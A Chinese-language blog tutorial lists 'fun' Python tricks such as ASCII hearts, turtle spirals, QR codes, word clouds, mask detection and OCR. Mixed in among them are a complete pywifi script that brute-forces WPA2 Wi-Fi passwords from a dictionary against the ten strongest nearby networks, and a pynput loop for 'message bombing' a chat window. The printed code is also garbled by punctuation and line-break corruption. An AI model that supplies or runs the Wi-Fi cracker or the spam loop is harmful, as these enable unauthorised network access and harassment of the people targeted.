孤陋寡聞了吧!python竟然可以做這些神奇好玩的事情(附教程)
作為一名python小白,學的時候感覺都學會了,自己寫就廢了。
什麼原因呢?是自己練習太少了!!!
今天給大家帶來一些好玩的案例,提高大家的學習興趣。
Python可以憑藉更加簡短的程式碼實現許多有趣的操作。
一、九九乘法表
還記得我們熟記於心的九九乘法表嗎?來,我們來鞏固下,我們用一行程式碼打印出來。(左右滑動檢視所有程式碼)
(
‘
\n
’
。
join
([
‘ ’
。
join
([
‘
%s
*
%s
=
%-2s
’
%
(
y
,
x
,
x
*
y
)
foryinrange
(
1
,
x
+
1
)])
forxinrange
(
1
,
10
)]))
二、一行列印心形圖案
不會表白?一行程式碼告訴你!
print(‘\n’。join([‘’。join([(‘AndyLove’[(x-y)%8]if((x*0。05)**2+(y*0。1)**2-1)**3-(x*0。05)**2*(y*0。1)**3<=0else‘ ’)forxinrange(-30,30)])foryinrange(15,-15,-1)]))
還沒開始學python的看到這篇文章可以點選下方的卡片進群免費學習,大量的實操案例帶你瞭解python,python這個語言男女皆宜,老少皆宜。
三、美麗的螺旋
你覺得上面的心型圖案不夠浪漫?那麼試試下面這個美麗的螺旋?在 Python
編譯器
中輸入下面的程式碼。(左右滑動檢視所有程式碼)
exec(“”“\nfrom turtle import *\nfor i in range(500): \n forward(i)\n left(91)\n”“”)
看下執行過程中的部分圖。
這個畫相簿用的是 turtle 庫。
四、破解wifi密碼
#!/usr/bin/env python
# -*- coding: utf-8 -*-
“”“
使用暴力破解法破解wifi密碼
需要從網上下載wifi密碼字典
可行性並不高
”“”
import
time
# 破解wifi庫
import pywifi
from pywifi import const
class PoJie(object):
def __init__(self, path):
# wifi密碼字典檔案
self。file = open(path, ‘r’, errors=‘ignore’)
# 抓取網絡卡介面
wifi = pywifi。PyWiFi()
# 抓取第一個網絡卡
self。iface =
wifi。interfaces
()[0]
# 測試連線時斷開所有的連結
self。iface。disconnect()
time。sleep(1)
self。alist = self。initialssidnamelist()
# 測試是否處於斷開狀態
assert self。iface。status() in [const。IFACE_DISCONNECTED, const。IFACE_INACTIVE]
def bies(self):
# 掃描
self。iface。scan()
# 獲取掃描結果
bessis = self。iface。scan_results()
alist = []
for data in bessis:
alist。append((data。ssid, data。signal))
# 按訊號強度排序
return len(alist), sorted(alist, key=
lambda
st: st[1], reverse=True)
def getsignal(self):
while True:
# 獲取所有的wifi
n, data = self。bies()
time。sleep(1)
if n is not 0:
# 如果數量不為0,返回前10個訊號最好的
return data[0:10]
def initialssidnamelist(self):
ssidlist = self。getsignal()
namelist = []
# 獲取前10個wifi的名稱
for item in ssidlist:
namelist。append(item[0])
return namelist
def readPassword(self, ssidname, myStr):
# 測試wifi名和密碼是否匹配
bool1 = self。test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 儲存密碼和wifi名到檔案中
save_password_to_file(myStr, ssidname)
print(‘————————————————————————密碼正確: ’ + myStr + ‘——-’ + ssidname)
return True
else:
print(‘密碼錯誤: ’ + myStr + ‘ ’ + ssidname)
return False
def test_connect(self, findStr, ssidname):
“”“
測試連線
:param findStr: 密碼
:param ssidname: wifi名
”“”
# 建立wifi連結檔案
profile = pywifi。Profile()
# wifi名稱
profile。ssid = ssidname
# 開放網絡卡
profile。auth = const。AUTH_ALG_OPEN
#
wifi加密演算法
profile。akm。append(const。AKM_TYPE_WPA2PSK)
# 加密單元
profile。cipher = const。CIPHER_TYPE_CCMP
# 密碼
profile。key = findStr
# 刪除所有的wifi檔案
self。iface。remove_all_network_profiles()
# 設定新的連結檔案
tmp_profile = self。iface。add_network_profile(profile)
# 連線
self。iface。connect(tmp_profile)
time。sleep(2)
# 判斷是否已經連線上
if self。iface。status() == const。IFACE_CONNECTED:
isOk = True
else:
isOk = False
self。iface。disconnect()
time。sleep(1)
# 檢查斷開狀態
assert self。iface。status() in [const。IFACE_DISCONNECTED, const。IFACE_INACTIVE]
return isOk
def run(self):
while True:
myStr = self。file。readline()
for ssidname in self。alist:
ret = self。readPassword(ssidname, myStr)
if ret:
raise
FileExistsError
def __del__(self):
self。file。close()
def save_password_to_file(myStr, ssidname):
with open(‘password。txt’, ‘a’) as fp:
fp。write(str(myStr) + ‘——>’ + str(ssidname))
if __name__ == ‘__main__’:
#
密碼字典
檔案所在路徑
path = ‘E:\WIFImmzidianbao\WIFI955M。txt’
start = PoJie(path)
start。run()
五、生成二維碼
二維碼又稱二維條碼,常見的二維碼為QR Code,QR全稱Quick Response,是一個近幾年來移動裝置上超流行的一種編碼方式,而生成一個二維碼也非常簡單,在Python中我們可以透過MyQR模組了生成二維碼,而生成一個二維碼我們只需要2行程式碼,我們先安裝MyQR模組,這裡選用國內的源下載:
pip install qrcode
安裝完成後我們就可以開始寫程式碼了:
import qrcode
text = input(“輸入文字或URL:”)
# 設定URL必須新增http://
img =
qrcode。make
(text)
img。save()
#儲存圖片至本地目錄,可以設定路徑
img。show()
我們執行程式碼後會在專案下生成一張二維碼。當然我們還可以豐富二維碼:
我們先安裝MyQR模組
pip install myqr
-
def gakki_code():
version, level, qr_name =
myqr。run
(
words=“https://520mg。com/it/#/main/2”,
# 可以是字串,也可以是網址(前面要加http(s)://)
version=1, # 設定
容錯率
為最高
level=‘H’,
# 控制糾錯水平,範圍是L、M、Q、H,從左到右依次升高
picture=“gakki。gif”,
# 將二維碼和圖片合成
colorized=True, # 彩色二維碼
contrast=1。0,
# 用以調節圖片的
對比度
,1。0 表示原始圖片,更小的值表示更低對比度,更大反之。預設為1。0
brightness=1。0,
# 用來調節圖片的亮度,其餘用法和取值同上
save_name=“gakki_code。gif”,
# 儲存檔案的名字,格式可以是jpg,png,bmp,gif
save_dir=os。getcwd() # 控制位置
)
gakki_code
()
效果圖如下:
另外MyQR還支援動態圖片。
六、生成詞雲
詞雲又叫文字雲,是對文字資料中出現頻率較高的“關鍵詞”在視覺上的突出呈現,形成關鍵詞的渲染形成類似雲一樣的彩色圖片,從而一眼就可以領略文字資料的主要表達意思。
但是作為一個老碼農,還是喜歡自己用程式碼生成自己的詞雲,複雜麼?需要很長時間麼?很多文字都介紹過各種的方法,但實際上只需要10行python程式碼即可。
先安裝必要庫
pip install wordcloud
pip install
jieba
pip install matplotlib
-
import matplotlib。pyplot as plt
from wordcloud import WordCloud
import jieba
text_from_file_
with_apath
= open(‘/Users/hecom/23tips。txt’)。read()
wordlist_after_jieba = jieba。cut(text_from_file_with_apath, cut_all = True)
wl_space_split = “ ”。join(wordlist_after_jieba)
my_wordcloud
= WordCloud()。generate(wl_space_split)
plt。imshow(my_wordcloud)
plt。axis(“off”)
plt。show()
如此而已,生成的一個詞雲是這樣的:
讀一下這10行程式碼:
1~3 行,分別匯入了畫圖的庫matplotlib,詞雲生成庫wordcloud 和 jieba的分詞庫;
4 行,是讀取本地的檔案,程式碼中使用的文字是本公眾號中的《老曹眼中研發管理二三事》。
5~6 行,使用jieba進行
分詞
,並對分詞的結果以空格隔開;
7行,對分詞後的文字生成詞雲;
8~10行,用pyplot展示詞雲圖。
這是我喜歡python的一個原因吧,簡潔明快。
七、識別是否帶了口罩
這裡同樣是使用PaddlePaddle的產品,我們按照上面步驟安裝好PaddlePaddle和Paddlehub,然後就開始寫程式碼:
import paddlehub as hub
# 載入模型
module = hub。Module(name=‘pyramidbox_lite_mobile_mask’)
# 圖片列表
image_list = [‘face。jpg’]
# 獲取圖片字典
input_
dict
= {‘image’:image_list}
# 檢測是否帶了口罩
module。face_detection(data=input_dict)
執行上述程式後,專案下會生成detection_result資料夾,識別結果都會在裡面,識別效果如下:
八、簡易資訊轟炸
Python控制輸入裝置的方式有很多種,我們可以透過win32或者pynput模組。我們可以透過簡單的迴圈操作來達到資訊轟炸的效果,這裡以pynput為例,我們需要先安裝模組:
pip install -i https://pypi。tuna。tsinghua。edu。cn/simple/ pynput
在寫程式碼之前我們需要手動獲取輸入框的座標:
from pynput import mouse
# 建立一個滑鼠
m_mouse = mouse。Controller()
# 輸出滑鼠位置
print(m_mouse。position)
可能有更高效的方法,但是我不會。
獲取後我們就可以記錄這個座標,訊息視窗不要移動。然後我們執行下列程式碼並將視窗切換至訊息頁面:
import time
from pynput import mouse, keyboard
time。sleep(5)
m_mouse = mouse。Controller() # 建立一個滑鼠
m_keyboard = keyboard。Controller() # 建立一個鍵盤
m_mouse。position = (850, 670) # 將滑鼠移動到指定位置
m_mouse。click(mouse。Button。left) # 點選滑鼠左鍵
while(True):
m_keyboard。type(‘你好’) # 打字
m_keyboard。press(keyboard。Key。enter) # 按下enter
m_keyboard。release(keyboard。Key。enter) # 鬆開enter
time。sleep(0。5) # 等待 0。5秒
我承認,這個超過了10行程式碼,而且也不高階。使用前QQ給小號發信息效果如下:
資訊轟炸這個技能可以看實操的,對python小技能感興趣想看具體怎麼操作的可以加入下面的卡片進群學習,先免費獲取一波教程,公開課帶領大家實操。
九、識別圖片中的文字
我們可以透過Tesseract來識別圖片中的文字,在Python中實現起來非常簡單,但是前期下載檔案、配置環境變數等稍微有些繁瑣,所以本文只展示程式碼:
import pytesseract
from
PIL
import Image
img = Image。open(‘text。jpg’)
text = pytesseract。image_to_
string
(img)
print(text)
其中text就是識別出來的文字。如果對準確率不滿意的話,還可以使用百度的通用文字介面。
學習任何一門語言,光知道語法是不夠的,要提高必須多加實踐。雖然Python是“萬金油”,適用面很廣,但不從事相關領域的研究或工作,很難去直接使用相關功能。對於一般的學生或初學者來說,學了點語法就去做大
資料分析
或科學計算視覺化的可能性還是不大的。需要腳踏實地,多寫案例,多寫程式碼。
鍵盤敲爛,月薪過萬